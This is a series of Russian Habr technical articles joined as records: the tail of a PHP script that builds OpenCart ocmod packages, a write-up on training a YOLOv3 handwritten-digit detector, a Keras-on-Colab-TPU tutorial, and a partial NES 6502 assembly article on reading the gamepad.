$addBegin = strpos($text, TAG_ADD_BEGIN, $begin + 1);
if (false === $addBegin or $addBegin >= $end)
die ("No begin add tag in ".$fileName);
$addBeginR = strpos($text, '>', $addBegin + 1);
$addAttributes = substr($text, $addBegin + strlen(TAG_ADD_BEGIN), $addBeginR - $addBegin - strlen(TAG_ADD_BEGIN));
if (false === $addBeginR or $addBeginR >= $end)
die ("Invalid add tag in ".$fileName);
$addEnd = strpos($text, TAG_ADD_END, $addBeginR + 1);
if (false === $addEnd or $addEnd >= $end)
die ("No close add tag in ".$fileName);
$codeBegin = $addBeginR + 1;
$codeEnd = $addEnd;
// Иногда необходимо тег начала кода закрывать комментарием,
// а тег конца - открывать. Тогда эти теги не должны попасть в результат.
$p = $codeBegin;
while (@$text[$p] === " " or @$text[$p] === "\t" or @$text[$p] === "\r" or @$text[$p] === "\n")
$p ++;
if ($p < $addEnd) {
foreach ($commentsEnd as $tag)
if (substr($text, $p, strlen($tag)) === $tag)
$codeBegin = $p + strlen($tag);
}
$p = $codeEnd - 1;
while (@$text[$p] === " " or @$text[$p] === "\t" or @$text[$p] === "\r" or @$text[$p] === "\n")
$p --;
if ($p >= $codeBegin) {
foreach ($commentsBegin as $tag)
if (substr($text, $p - strlen($tag) + 1, strlen($tag)) === $tag)
$codeEnd = $p - strlen($tag) + 1;
}
$code = substr($text, $codeBegin, $codeEnd - $codeBegin - 1);
$xml .= "
".(false !== $search ? "
{$search}
```
" : "")."
{$code}
";
}
}
function processDir($dir, $relativePath = '') {
global $exclude;
$cdir = scandir($dir);
foreach ($cdir as $key => $value) {
if (!in\_array($value,array(".", ".."))) {
$fileName = $dir . DIRECTORY\_SEPARATOR . $value;
$newRelativePath = ($relativePath ? $relativePath.'/' : '').$value;
$excluded = false;
if ($exclude)
foreach ($exclude as $ex)
$excluded = $excluded or false !== strpos($newRelativePath, $ex);
if ($excluded)
continue;
if (is\_dir($fileName)) {
processDir($fileName, $newRelativePath);
} else {
processFile($fileName, $newRelativePath);
}
}
}
}
function delTree($dir, $delRoot = false) {
$files = array\_diff(scandir($dir), array('.','..'));
foreach ($files as $file) {
(is\_dir("$dir/$file")) ? delTree("$dir/$file", true) : unlink("$dir/$file");
}
return $delRoot ? rmdir($dir) : true;
}
$xml = "xml version=\"1.0\" encoding=\"".ENCODING."\"?
".NAME."
`".CODE."`
".VERSION."
".AUTHOR."
".LINK."";
processDir(ROOT\_PATH);
$xml .= "
";
file\_put\_contents('publish/install.xml', $xml);
file\_put\_contents('publish/install.sql', $sql);
delTree('publish/upload');
foreach ($upload as $file) {
$srcfile = ROOT\_PATH.(@$file[0] === '/' ? '' : '/').$file;
$dstfile = 'publish/upload'.(@$file[0] === '/' ? '' : '/').$file;
mkdir(dirname($dstfile), 0777, true);
copy($srcfile, $dstfile);
}
?>
Командник make-ocmod.cmd, который все это запускает:
```
del /f/q/s publish.ocmod.zip
php make-ocmod.php make-ocmod.opencart.local.cfg.php
cd publish
..\7z.exe a -r -tZip ..\publish.ocmod.zip *.*
```
Я использую 7zip, поэтому 7z.exe должен лежать там же, где наш командник. Кто захочет использовать его же, сможет скачать его по адресу <https://www.7-zip.org/>.
Это командник для Windows. Кто под Linux, думаю, перепишет без проблем.
Резюме: На мой взгляд, так работать намного проще, чем каждый раз вручную править ocmod. Когда мы добавляем код, то один раз прямо на месте задаем наши теги поиска для этого куска кода, а далее сосредотачиваемся только на нашей работе. Нас уже не заботит структура xml-файла, а любое исправление нашей модификации мы вносим на месте, тут же проверяем его работу и далее одним нажатием генерируем новый ocmod-файл. | https://habr.com/ru/post/529186/ | null | ru | null |
# Третья жизнь пет-проекта по распознаванию рукописных цифр
В этом блогпосте я поделюсь историей о том, как я обновлял свой старенький пет-проект по распознаванию цифр, как делал разметку для него, и почему модель предсказывает 12 классов, хотя цифр всего 10.
---
### Вступление
Пять лет назад, когда я получил свою первую работу в DS, я хотел как можно быстрее набрать побольше опыта. Среди прочего, я работал над пет-проектом: приложением на Flask, которое позволяло пользователям рисовать цифры и распознавать их с помощью ML-модели. На его разработку у меня ушло несколько месяцев, но оно того стоило как с точки зрения прокачивания навыков, так и в плане развития карьеры. Я даже писал о нём [статью](https://habr.com/ru/company/ods/blog/335998/) на хабре.
Два года спустя я опубликовал новую версию с различными улучшениями; например, я использовал OpenCV для распознавания отдельных цифр, а модель была расширена до 11 классов, предсказывающих не-цифры.
Эти два приложения были развернуты на Heroku с использованием бесплатного плана, но некоторое время назад эти планы были прекращены. Я не хотел, чтобы проект канул в лету, поэтому решил сделать новую версию. Делать просто передеплой проекта на новой платформе было бы неинтересно, поэтому я обучил модель YOLOv3 с нуля на 12 классах. Несмотря на то, что это всего лишь пет-проект, в нём было много проблем, которые встречаются и в реальных проектах. В этой статье я хочу поделиться своим опытом работы над этим проектом, начиная со сбора данных и заканчивая деплоем.
Вот [ссылка](https://huggingface.co/spaces/Artgor/digit-draw-detect) на само приложение.
### Сбор и подготовка данных
Сбор и разметка данных - важная часть любого проекта. Благодаря предыдущим версиям этого приложения у меня был датасет из примерно 19 тыс. изображений, которые хранились на Amazon S3. Лейблы для этих изображений были изначально сгенерированы моими моделями, и я знал, что часть из них ошибочны, ибо никакие модели не могут быть идеальными. По моим оценкам, уровень ошибок составлял около 10%, что означало, что около 2 тысяч изображений имели неправильные метки.
Помимо ошибок в самих лейблах, было много кейсов, когда мне самому было непонятно, что же показано на картинке. Например, люди иногда рисовали цифры так, что было трудно определить, что изображено (2 или 8, 1 или 7), или рисовали несколько цифр на одном изображении, что добавляло дополнительную головную боль. Кроме того, в моей предыдущей модели был реализован класс "other" для распознавания объектов, не являющихся цифрами, но мне все равно нужно было проверить все метки.
В результате я потратил несколько часов на ручную проверку и исправление меток к изображениям, иногда даже удаляя те, в которых я не был уверен.
### Image classification
Когда я начал работать над своим обновленным проектом по распознаванию цифр, я начал с обучения модели CNN на Pytorch на моем MacBook. Ради интереса также обучил модель ViT, используя этот [гайд](https://uvadlc-notebooks.readthedocs.io/en/latest/tutorial_notebooks/tutorial15/Vision_Transformer.html). Обе модели были обучены с помощью [MPS](https://pytorch.org/docs/stable/notes/mps.html) Pytorch, что намного быстрее тренировки на CPU (пусть и уступает полнцоценным GPU).
Ранее я уже разработал пайплайн для тренировки моделей на PyTorch-lightning и Hydra, и я смог его легко допилить для этого проекта. Код можно посмотреть [здесь](https://github.com/Erlemar/pytorch_tempest_pet_).
После того как модели были обучены, я проанализировал все кейсы, когда они делали неверные прогнозы, и попытался их исправить. К сожалению, в некоторых случаях я сам не мог самостоятельно определить правильные лейблы, поэтому обычно удалял такие изображения.
Стоит отметить, что на данный момент у меня было 12 классов, которые модели должны были распознать: 10 для цифр, один для "other" и последний класс, который я назвал "censored". Думаю, что вы легко сможете найти примеры на картинке ниже ;) У меня собралось немало примеров, и модели смогли распознать этот класс весьма хорошо.
Хотя гонять эти эксперименты была весело, они были лишь промежуточным шагом на пути к моей цели - обучению object detection.
### Разметка данных для object detection
Как я уже упоминал, моей целью в этом проекте было обучение модели object detection, для чего требовались bounding box для каждого объекта на каждом изображении. Для начала я использовал `cv2.findContours` и `cv2.boundingRect` из OpenCV для построения bounding box вокруг объектов на изображениях. Чтобы упростить первый шаг, я сначала работал только с изображениями, содержащими один объект.
Если OpenCV находила более одного bbox на изображении, я вручную проверял их и временно перекладывал эти изображения в отдельную папку на будущее.
Далее мне нужно было получить bbox для изображений, содержащих несколько объектов. Сначала я пытался извлечь их автоматически, но обнаружил слишком много ошибок, поскольку люди часто рисовали цифры несколькими несвязанными штрихами.
После небольшого ресерча я нашёл (точнее мне подсказали), что <https://www.makesense.ai/> является полезным инструментом для разметки bbox. На просмотр и разметку всех изображений ушло несколько часов, но в итоге я получил разметку bbox для 16,5 тыс. изображений.
Одна из проблем, с которой я столкнулся при маркировке данных, заключалась в том, чтобы решить, что размечать, а что нет. Например, на скриншоте ниже не очень понятно, что является "0", а что является каким-то мусором.
### Тренировка YOLOv3
Для начала я использовал для обучения только изображения с одним объектом, чтобы убедиться, что все работает нормально. Я использовал этот шикарный [туториал](https://sannaperzon.medium.com/yolov3-implementation-with-training-setup-from-scratch-30ecb9751cb0) и натренировал модельку с хорошим качеством.
Однако, когда я начал обучать модель на всех изображениях, все пошло не так. Метрики были плохими, а иногда градиенты даже взрывались. Предсказанные bbox были кривыми даже на глаз.
Я долго дебажил, чтобы понять в чём же были ошибки.
Одна из проблем, с которой я столкнулся, была связана с аугментациями: некоторые ауги из библиотеки Albumentations приводили к искажению bbox. Вот старое [issue](https://github.com/albumentations-team/albumentations/issues/182) на GitHub об этой проблеме. В результате я начал использовать imgaug для аугментаций и использовал albumentations только на последнем этапе нормализации и ресайза.
```
import imgaug.augmenters as iaa
from imgaug.augmentables.bbs import BoundingBox, BoundingBoxesOnImage
import numpy as np
import albumentations
# an example of bbox
original_bboxes = [[14, 17, 28, 75, 1], [63, 74, 63, 69, 2], [140, 102, 39, 78, 3]]
# an example of image
max_x = 200
max_y = 200
original_image = np.random.randint(0, 255, size=(max_x, max_y, 3))
# creating bounding boxes in imgaug format
bbi = []
for b in [[b[0], b[1], b[0] + b[2], b[1] + b[3], b[4]] for b in original_bboxes]:
bbi.append(BoundingBox(x1=b[0], y1=b[1], x2=b[2], y2=b[3], label=b[4]))
bbs = BoundingBoxesOnImage(bbi, shape=original_image.shape)
# defining the transformation
seq = iaa.Sequential([
iaa.Affine(rotate=(-45, 45), scale=(0.9, 1.0),
translate_px={"x": (-20, 20), "y": (-20, 20)}, cval=255
)
])
# applying the transformation
im, bbs_aug = seq(image=im, bounding_boxes=bbs)
# convert the bounding boxes into yolo format
bboxes = [[b_.center_x / max_x, b_.center_y / max_y,
b_.width / max_x, b_.height / max_y, b_.label] for b_ in bbs_aug.bounding_boxes]
# define albumentations transforms
albumentations.Compose([albumentations.Resize(always_apply=False, p=1, height=192, width=192, interpolation=1),
albumentations.Normalize(always_apply=False, p=1.0, mean=(0, 0, 0), std=(1, 1, 1), max_pixel_value=255.0),
albumentations.pytorch.transforms.ToTensorV2(always_apply=True, p=1.0, transpose_mask=False)],
p=1.0,
bbox_params={'format': 'yolo', 'label_fields': None, 'min_area': 0.0, 'min_visibility': 0.0, 'check_each_transform': True},
keypoint_params=None, additional_targets={})
```
Еще одна проблема, которую я обнаружил, связана с форматом bbox: я ошибся и использовал формат coco, в то время как код модели ожидал, что они будут в формате yolo. Исправление этого косяка помогло, но метрики модели все равно были недостаточно высокими.
Чтобы эту ошибку не повторили другие, давайте рассмотрим эти форматы подробнее:
https://albumentations.ai/docs/getting\_started/bounding\_boxes\_augmentation/
```
# an example of converting the bounding boxes between different formats.
import numpy as np
import albumentations
# an example of bbox in coco format: x_min, y_min, width, height
coco_bboxes = [[14, 17, 28, 75], [63, 74, 63, 69], [140, 102, 39, 78]]
# convert coco format to pascal_voc format
pascal_voc_bboxes = [[box[0], box[1], box[0] + box[2], box[1] + box[3]]] for box in coco_bboxes]
max_x = 200
max_y = 200
# convert coco format to yolo format
yolo_bboxes = [[(box[0] + box[2] / 2) / max_x,
(box[1] + box[3] / 2) / max_y,
box[2] / max_x, box[3] / max_y] for box in coco_bboxes]
```
После дальнейших экспериментов я обнаружил последнюю проблему: при обучении моделей классификации изображений я извлекал нарисованные цифры с помощью OpenCV и делал ресайз до 32x32 или 64x64. Это означало, что цифры занимали все пространство на изображении. Однако когда я начал обучать модели object detection, я брал весь canvas и ресайзил его до 64x64. В результате многие объекты становились слишком маленькими и кривыми для эффективного распознавания. Увеличение размера изображений до 192x192 помогло улучшить работу модели.
Если интересно, вот [ссылка](https://wandb.ai/al-3002-w/pet_project_object_detection/reports/Training-a-model-for-Handwritten-Object-Detection---VmlldzozMTgwMzA2?accessToken=yi6t4sz6iwr1yp78nfpvw71qao5wibak30np9tfft885tdj26g3tk91h1sie3h5m) на репорт Weight and Biases.
Ранее я упоминал, что обучал модели классификации изображений с помощью Pytorch MPS на MacBook. Однако, когда я попытался обучить модель object detection таким же образом, я столкнулся с некоторыми проблемами в Pytorch MPS. Одна внутренняя операция падала, поэтому мне пришлось перейти на CPU. На GitHub есть специальное [issue](https://github.com/pytorch/pytorch/issues/77764), где люди могут поделиться подобными проблемами.
При обучении на изображениях размером 64x64 это работало достаточно быстро (хотя и занимало 15 минут), но увеличение размера изображения до 192x192 делало обучение непомерно медленным. В результате я решил использовать Google Colab. К сожалению, бесплатной версии оказалось недостаточно, поэтому мне пришлось приобрести 100 кредитов. Одна эпоха на Colab заняла всего 3 минуты. Запуска нескольких экспериментов было достаточно, чтобы получить хорошие метрики.
### Разработка и деплой
Тренировка модели - важный, но не финальный шаг в процессе разработки. После обучения модели следующим шагом было создание приложения и его деплой.
#### Streamlit
Для создания приложения для этого проекта я решил использовать Streamlit, поскольку у меня уже был опыт работы с ним, и он намного быстрее в разработке приложений по сравнению с использованием Flask. Пусть приложение получается не таким красивым и гибким, как полноценный сайт, но скорость его создания компенсирует это.
Я использовал этот инструмент [canvas](https://pypi.org/project/streamlit-drawable-canvas/), чтобы позволить пользователям рисовать цифры, которые модель будет распознавать. Процесс разработки приложения был относительно быстрым и занял всего пару часов. Как только приложение было готово, я смог перейти к этапу деплоя.
Весь код приложения можно увидеть [тут](https://github.com/Erlemar/digit-draw-detect).
В прошлых версиях проекта я хранил веса на Amazon S3, но эта моделька была намного тяжелее, и каждый раз грузить веса оттуда - это дорого и затратно. Так что я просто использовал Git LFS.
#### Deployment
Изначально я планировал захостить приложение на [облаке streamlit](https://streamlit.io/cloud), поскольку это отличная платформа для быстрого развертывания и шаринга небольших приложений. Я успешно развернул приложение на streamlit cloud, но когда я поделился им в одном чате, оно быстро уперлось в лимиты. Это означало, что мне нужно было найти альтернативное решение.
Я рассматривал возможность развертывания приложения на Heroku, как я делал это раньше, но понял, что это будет слишком дорого для данного проекта, поскольку оно требует больше оперативной памяти, чем предыдущие версии.
Тогда я вспомнил о [Hugging Face Spaces](https://huggingface.co/spaces), платформе, специально разработанной для деплоя ML-приложений. Я смог легко развернуть свое приложение на этой платформе (ушло меньше часа), и оно заработало без каких-либо проблем.
### CI/CD
При работе с легаси-проектами мы не всегда можем свободно настраивать пайплайны и проверки так, как нам хочется, но в моем случае я мог делать все, что хотел, поэтому я настроил кучу проверок, чтобы минимизировать вероятность появления ошибок.
Я установил pre-commit hooks с black, mypy, flake8 и прочим.
Запретил прямой пуш в мастер.
При создании PR триггерятся проверки deepsource и пайплайн на Github Actions.
После успешного мерджа PR, триггерится ещё один пайплайн - для синхронизации кода с репо на Hugging Face Spaces.
### Фейл со Style Transfer
Изначально я планировал добавить в приложение дополнительную фичу: возможность использовать style transfer, чтобы показать все 9 других цифр, нарисованных в том же стиле, что и та, которую нарисовал пользователь. Однако я обнаружил, что это работает не так хорошо, как я надеялся. Предполагаю, что отсутствие контекста и стиля в черных цифрах, нарисованных на белом холсте, затрудняет эффективное применение style transfer.
### Итоги
В целом, я доволен результатами этого проекта. Хотя прогнозы модели не идеальны, они все же вполне хоршие. В будущем я планирую переобучить модель на новых данных.
Этот проект был ценным и приятным опытом обучения для меня, и я надеюсь, что вы также нашли его интересным :)
Дополнительные ссылки:
* [Ссылка на проект на моём сайте](https://andlukyane.com/project/drawn-digits-prediction)
* [Датасет на каггле с картинками и bbox](https://www.kaggle.com/datasets/artgor/handwritten-digits-and-bounding-boxes)
* [Код для тренировки](https://github.com/Erlemar/pytorch_tempest_pet_)
* [Код проекта на Github](https://github.com/Erlemar/digit-draw-detect) | https://habr.com/ru/post/707046/ | null | ru | null |
# Бесплатные тензорные процессоры от Google в облаке Colaboratory
Недавно Google предоставил бесплатный доступ к своим [тензорным процессорам](https://cloud.google.com/tpu/) (tensor processing unit, TPU) на облачной платформе для машинного обучения [Colaboratory](https://colab.research.google.com). Тензорный процессор — это специализированная интегральная схема (ASIC), разработанная Google для задач машинного обучения с использованием библиотеки TensorFlow. Я решил попробовать обучить на TPU сверточную сеть на Keras, которая распознает объекты на изображениях CIFAR-10. Полный код решения можно посмотреть и запустить в [ноутбуке](https://colab.research.google.com/drive/1FWI2XEovgVptqD7GpNx9pb6a7JQcA2cI).
*Фото [cloud.google.com](https://cloud.google.com/tpu/)*
Тензорные процессоры
--------------------
На Хабре уже писали о том, как устроены TPU ([здесь](https://habr.com/post/402955/), [здесь](https://habr.com/post/350042/) и [здесь](https://habr.com/company/squadra-group/blog/326308/)), а также [почему TPU хорошо подходят для обучения нейронных сетей](https://habr.com/post/422317/). Поэтому я не буду углубляться в детали архитектуры TPU, а рассмотрю только те особенности, которые нужно учитывать при обучении нейонных сетей.
Сейчас есть три поколения тензорных процессоров, производительность TPU последнего, третьего поколения составляет 420 TFlops (триллионов операций с плавающей точкой в секунду), он содержит 128 ГБ памяти High Bandwidth Memory. Однако на Colaboratory доступны только TPU второго поколения, у которых 180 TFlops производительности и 64 ГБ памяти. В дальнейшем я буду рассматривать именно эти TPU.
Тензорный процессор состоит из четырех чипов, каждый из которых содержит два ядра, всего в TPU восемь ядер. Обучение на TPU ведется параллельно на всех ядрах с помощью репликации: на каждом ядре работает копия графа TensorFlow с одной восьмой объема данных.
Основа тензорного процессора — матричное устройство (matrix unit, MXU). Оно использует хитрую структуру данных [систолический массив](https://en.wikipedia.org/wiki/Systolic_array) размером 128х128 для эффективной реализации операций с матрицами. Поэтому, чтобы наиболее полно использовать ресурсы оборудования TPU, размерность мини-выборки или признаков должна быть кратна 128 ([источник](https://cloud.google.com/tpu/docs/tpus)). Также из-за особенностей системы памяти TPU желательно, чтобы размерность мини-выборки и признаков была кратна 8.
Платформа Colaboratory
----------------------
[Colaboratory](https://colab.research.google.com) — это облачная платформа от Google для продвижения технологий машинного обучения. На ней можно получить бесплатно виртуальную машину с установленными популярными библиотеками TensorFlow, Keras, sklearn, pandas и т.п. Самое удобное, что на Colaboratory можно запускать ноутбуки, похожие на Jupyter. Ноутбуки сохраняются на Google Drive, можно их распространять и даже организовать совместную работу. Вот так выглядит ноутбук на Colaboratory (*картинка кликабельна*):
[](https://habrastorage.org/webt/fq/l4/ie/fql4ie08wjywkhceevz--lclzio.png)
Вы пишите код в браузере в ноутбуке, он выполняется на виртуальной машине в облаке Google. Машина выдается вам на 12 часов, после этого она останавливается. Однако ничто не мешает вам запустить еще одну виртуальную машину и работать еще 12 часов. Только имейте в виду, что после остановки виртуальной машины все данные с нее удаляются. Поэтому не забывайте сохранять нужные данные на свой компьютер или Google Drive, а после перезапуска виртуальной машины загружать заново.
Подробные инструкции по работе на платформе Colaboratory есть [здесь](https://habr.com/post/358146/), [здесь](https://habr.com/post/348058/) и [здесь](https://www.asozykin.ru/deep_learning/2018/04/04/Google-Colaboratory-for-Deep-Learning.html).
Подключаем тензорный процессор на Colaboratory
----------------------------------------------
По умолчанию Colaboratory не использует ускорителей вычислений GPU или TPU. Подключить их можно в меню Runtime -> Change runtime type -> Hardware accelerator. В появившемся списке выбираем «TPU»:
После выбора типа ускорителя виртуальная машина, к которой подключается ноутбук Colaboratory, перезапустится и станет доступен TPU.
Если вы загружали на виртуальную машину какие-то данные, то в процессе перезапуска они будут удалены. Придется загружать данные заново.
Нейронная сеть на Keras для распознавания CIFAR-10
--------------------------------------------------
В качестве примера попробуем обучить на TPU нейронную сеть на Keras, которая распознает изображения из [набора данных CIFAR-10](https://www.cs.toronto.edu/~kriz/cifar.html). Это популярный набор данных, содержащий небольшие изображения объектов 10 классов: самолет, автомобиль, птица, кот, олень, собака, лягушка, лошадь, корабль и грузовик. Классы не пересекаются, каждый объект на картинке принадлежит только одному классу.
Загружаем набор данных CIFAR-10 средствами Keras:
```
(x_train, y_train), (x_test, y_test) = cifar10.load_data()
```
Для создания нейронной сети я завел отдельную функцию. Мы будем создавать одинаковую модель два раза: первый вариант модели для TPU, на котором будем обучать, а второй для CPU, где будем распознавать объекты.
```
def create_model():
input_layer = Input(shape=(32, 32, 3), dtype=tf.float32, name='Input')
x = BatchNormalization()(input_layer)
x = Conv2D(32, (3, 3), padding='same', activation='relu')(x)
x = Conv2D(32, (3, 3), activation='relu', padding='same')(x)
x = MaxPooling2D(pool_size=(2, 2))(x)
x = Dropout(0.25)(x)
x = BatchNormalization()(x)
x = Conv2D(64, (3, 3), padding='same', activation='relu')(x)
x = Conv2D(64, (3, 3), activation='relu')(x)
x = MaxPooling2D(pool_size=(2, 2))(x)
x = Dropout(0.25)(x)
x = Flatten()(x)
x = Dense(512, activation='relu')(x)
x = Dropout(0.5)(x)
output_layer = Dense(10, activation='softmax')(x)
model = Model(inputs=[input_layer], outputs=[output_layer])
model.compile(
optimizer=tf.train.AdamOptimizer(0.001),
loss=tf.keras.losses.sparse_categorical_crossentropy,
metrics=['sparse_categorical_accuracy'])
return model
```
Пока на TPU нельзя использовать оптимизаторы Keras, поэтому при компиляции модели указывается оптимизатор из TensorFlow.
Создаем модель Keras для CPU, которую на следующем этапе преобразуем в модель для TPU:
```
cpu_model = create_model()
```
Конвертируем нейросеть на Keras в модель для TPU
------------------------------------------------
Модели на Keras и TensorFlow можно обучать на GPU без каких-либо изменений. На TPU пока так делать нельзя, поэтому придется преобразовать созданную нами модель в модель для TPU.
Для начала нужно узнать, где находится доступный нам TPU. На платформе Colaboratory это можно сделать следующей командой:
```
TPU_WORKER = 'grpc://' + os.environ['COLAB_TPU_ADDR']
```
В моем случае адрес TPU оказался таким — `grpc://10.102.233.146:8470`. Адреса отличались для разных запусков.
Теперь можно получить модель для TPU с помощью функции `keras_to_tpu_model`:
```
tf.logging.set_verbosity(tf.logging.INFO)
tpu_model = tf.contrib.tpu.keras_to_tpu_model(
cpu_model,
strategy=tf.contrib.tpu.TPUDistributionStrategy(
tf.contrib.cluster_resolver.TPUClusterResolver(TPU_WORKER)))
```
В первой строке включено логирование на уровне Info. Вот что в логе конвертации модели:
`INFO:tensorflow:Querying Tensorflow master (b'grpc://10.102.233.146:8470') for TPU system metadata.
INFO:tensorflow:Found TPU system:
INFO:tensorflow:*** Num TPU Cores: 8
INFO:tensorflow:*** Num TPU Workers: 1
INFO:tensorflow:*** Num TPU Cores Per Worker: 8
...
WARNING:tensorflow:tpu_model (from tensorflow.contrib.tpu.python.tpu.keras_support) is experimental and may change or be removed at any time, and without warning.`
Можно видеть, что найден TPU по указанному нами ранее адресу, в нем 8 ядер. Также мы видим предупреждение, что `tpu_model` является экспериментальной и может быть изменена или удалена в любое время. Надеюсь, что со временем можно будет обучать модели Keras напрямую на TPU без всякого преобразования.
Обучаем модель на TPU
---------------------
Модель для TPU можно обучать обычным для Keras образом с помощью вызова метода `fit`:
```
history = tpu_model.fit(x_train, y_train,
batch_size=128*8,
epochs=50,
verbose=2)
```
Какие здесь особенности. Мы помним, что для эффективного использования TPU размер мини-выборки должен быть кратен 128. Кроме того, на каждом ядре TPU выполняется обучение с использованием одной восьмой всех данных в мини-выборке. Поэтому размер мини-выборки при обучении задаем в 128\*8, получается по 128 картинок для каждого ядра TPU. Можно использовать больший размер, например, 256 или 512, тогда производительность будет выше.
В моем случае на обучение одной эпохи требуется в среднем 6 с.
Качество обучения на 50 эпохе:
`Epoch 50/50
- 6s - loss: 0.2727 - sparse_categorical_accuracy: 0.9006`
Доля верных ответов на данных для обучения составила 90,06%. Проверяем качество на тестовых данных используя TPU:
```
scores = tpu_model.evaluate(x_test, y_test, verbose=0, batch_size=batch_size * 8)
print("Доля верных ответов на тестовых данных: %.2f%%" % (scores[1]*100))
```
`Доля верных ответов на тестовых данных: 80.79%`
Теперь сохраним веса обученной модели:
```
tpu_model.save_weights("cifar10_model.h5")
```
TensorFlow выдаст нам сообщение, что веса переданы с TPU на CPU:
`INFO:tensorflow:Copying TPU weights to the CPU`
Следует отметить, что веса обученной сети сохранились на диск виртуальной машины Colaboratory. Когда виртуальная машина будет остановлена, то все данные с нее сотрутся. Если вы не хотите терять обученные веса, то сохраните их на свой компьютер:
```
from google.colab import files
files.download("cifar10_model.h5")
```
Распознаем объекты на CPU
-------------------------
Теперь давайте попробуем использовать модель, обученную на TPU, для того, чтобы распознавать объекты на изображениях с помощью CPU. Для этого создаем модель заново и загружаем в нее обученные на TPU веса:
```
model = create_model()
model.load_weights("cifar10_model.h5")
```
Модель готова к использования на центральном процессоре. Давайте попробуем распознать с ее помощью одно из изображений тестового набора CIFAR-10:
```
index=111
plt.imshow(toimage(x_test[index]))
plt.show()
```
Картинка маленькая, но можно понять, что это самолет. Запускаем распознавание:
```
# Названия классов из набора данных CIFAR-10
classes=['самолет', 'автомобиль', 'птица', 'кот', 'олень', 'собака', 'лягушка', 'лошадь', 'корабль', 'грузовик']
x = x_test[index]
# Добавляем размерность, т.к. Keras распознает массив изображений
x = np.expand_dims(x, axis=0)
# Запускаем распознавание
prediction = model.predict(x)
# Печатаем значения на выходе из сети
print(prediction)
# Печатаем название класса объекта
prediction = np.argmax(prediction)
print(classes[prediction])
```
Получаем список выходных значений нейронов, почти все из них близки к нулю, кроме первого значения, которое соответствует самолету.
`[[9.81738389e-01 2.91262069e-07 1.82225723e-02 9.78524668e-07
5.89265142e-07 6.76223244e-10 1.03252004e-10 9.23009047e-09
3.71878523e-05 3.16599618e-08]]
самолет`
Распознавание прошло успешно!
Итоги
-----
Удалось продемонстрировать работоспособность TPU на платформе Colaboratory, его вполне можно применять для обучения нейронных сетей на Keras. Однако набор данных CIFAR-10 слишком маленький, его недостаточно для полной загрузки ресурсов TPU. Ускорение по сравнению с GPU получилось небольшим (можете проверить сами выбрав в качеству ускорителя GPU вместо TPU и переобучив модель заново).
На Хабре есть статья, в которой [измеряли производительность TPU и GPU V100 на обучении сети ResNet-50](https://habr.com/post/354602/). На этой задаче TPU показал такую же производительность, как и четыре GPU V100. Приятно, что Google дает такой мощный ускоритель обучения нейронных сетей бесплатно!
Видео с демонстрацией обучения нейросети Keras на TPU.
Полезные ссылки
---------------
1. [Ноутбук Colaboratory с полным кодом обучения модели Keras на TPU](https://colab.research.google.com/drive/1FWI2XEovgVptqD7GpNx9pb6a7JQcA2cI).
2. [Ноутбук Colaboratory с примером обучения на TPU модели Keras для распознавания одежды и обуви из Fashion MNIST](https://colab.research.google.com/gist/ceshine/f196d6b030adb1ec3a8d0b50642709dc/keras-fashion-mnist-tpu.ipynb).
3. [Тензорные процессоры в облаке Google](https://cloud.google.com/tpu/).
4. [Особенности архитектуры и использования тензорных процессоров](https://cloud.google.com/tpu/docs/tpus). | https://habr.com/ru/post/428117/ | null | ru | null |
# Считывание контроллера nes (dendy) на ассемблере
В предыдущей статье Я рассказывал вам бо основах ассемблера 6502 о некоторых участках памяти и как с ними работать, до сегодняшнего дня у меня стояли следующий ряд задач: считывание контроллера, анимация, таймер. Ниже под катом Я расскажу как научился читать контроллер.
---
Всё как и ранее началось с цели, я пошел на wiki nesdev (ссылка будет в конце статьи) дабы прочитать о том как работать с контроллером. Ведь если разобраться, для игры существует всего несколько внешних триггеров, по срабатыванию которых игра выполняет какие то определенные действия. Во-первых, это внутренний таймер, действия персонажей выполняются по наступление какого либо времени, ярким примером такого могут служить простые боссы в играх, их поведение описано шаблоном, который привязан к какому либо временному отрезку. Во-вторых, важным триггером для игры является нажатие кнопок контроллера, на которые в основном отвечает главный герой игры, при нажатие вверх, вниз, влево и вправо, start и select. Герой может двигаться, прыгать, ползти и так далее. То есть нажатие кнопки говорит непосредственно игре сделай то то. Забегая вперед программируя под NES я пытаюсь ориентироваться не на объект который будет на экране, как возможно многие современные программисты, а что будет нарисовано в том или ином кадре.
Но ближе к теме, контроллеров на NES очень много начиная от классических и заканчивая надувными мотоциклами и микрофонами, но у денди было всего два классический геймпад (жойстик) и световой пистолет. О последним возможно поговорим позже. И так в денди есть два порта процессора для чтения контроллеров $4016 для 1-го геймпада, $4017 для второго геймпада.
Первым делом необходимо "перезагрузить контроллер" или "инициализировать" его, записав просто в порт последовательно значения $01 и $00
```
deadyJoy:
lda #$01
sta $4016
lda #$00
sta $4016
```
Далее денди считывает нажатие в следующей последовательности A, B, Select, Start, Up, Down, Left, Right и записывает в порт $4016, так что что бы получить нажатие кнопки, нам лишь потребуется прочитать из этого порта, значение последовательно 8 раз
```
lda #4016 ; A
lda #4016 ; B
lda #4016 ; Select
lda #4016 ; Start
lda #4016 ; Up
lda #4016 ; Down
lda #4016 ; Left
lda #4016 ; Right
```
В принципе мы уже в аккумулятор A загружаем признак нажатия кнопки. Но этот код явно надо допилить что бы при нажатие кнопки, происходило некое движение спрайта героя. Это я решил тем что написал небольшой обработчик для нажатия каждой кнопки контроллера. И если она отпущена то герой стоит на месте если нажата то происходит увеличение переменной с координатой X и Y героя. Опять же забегая в перёд переменные хранятся в разделе zeropage (нулевая страница) раздел с $00 - $FF Я так понимаю специально сделан для хранения неких переменных, в силу ограничений памяти, но могу ошибаться, буду рад если кто то поправит меня по этому поводу в комментариях.
```
ReadA:
LDA $4016 ; Кнопка A
AND #%00000001 ; логичиское меняет флаг N и Z
bne walkHeroRight ; если нажата кнопка A
beq ReadB ; если не нажата переходим к чтению B
ReadB:
LDA $4016 ; Кнопка B
AND #%00000001
bne walkHeroLeft ; если нажата B walkHeroLeft для тестирования того что срабатывает
beq ReadSelect ; Переходим к чтению Select
; тут 5 раз такого же кода для обработки героя
ReadRight:
LDA $4016 ; Крестовина влево
AND #%00000001
bne walkHeroRight ; если креставина нажата в право
beq heroStay ; если не нажата ниодна кнопка герой стоит на месте
```
Я пока только изучаю assembler по этому избегаю сокращения конструкций так более понятно и для меня, и для статьи, для тех людей которые бы хотели освоить его так же как и Я. Данный код при рисование каждого кадра, последовательно проверяет нажатие каждой кнопки и в случае того если не было ни одного нажатия герой стоит. В случае если было нажатие какой либо кнопки программа переходит в соответствующий раздел кода. Где увеличивается или уменьшается переменная X и Y координаты
```
walkHeroRight:
inc herroXCoordinate
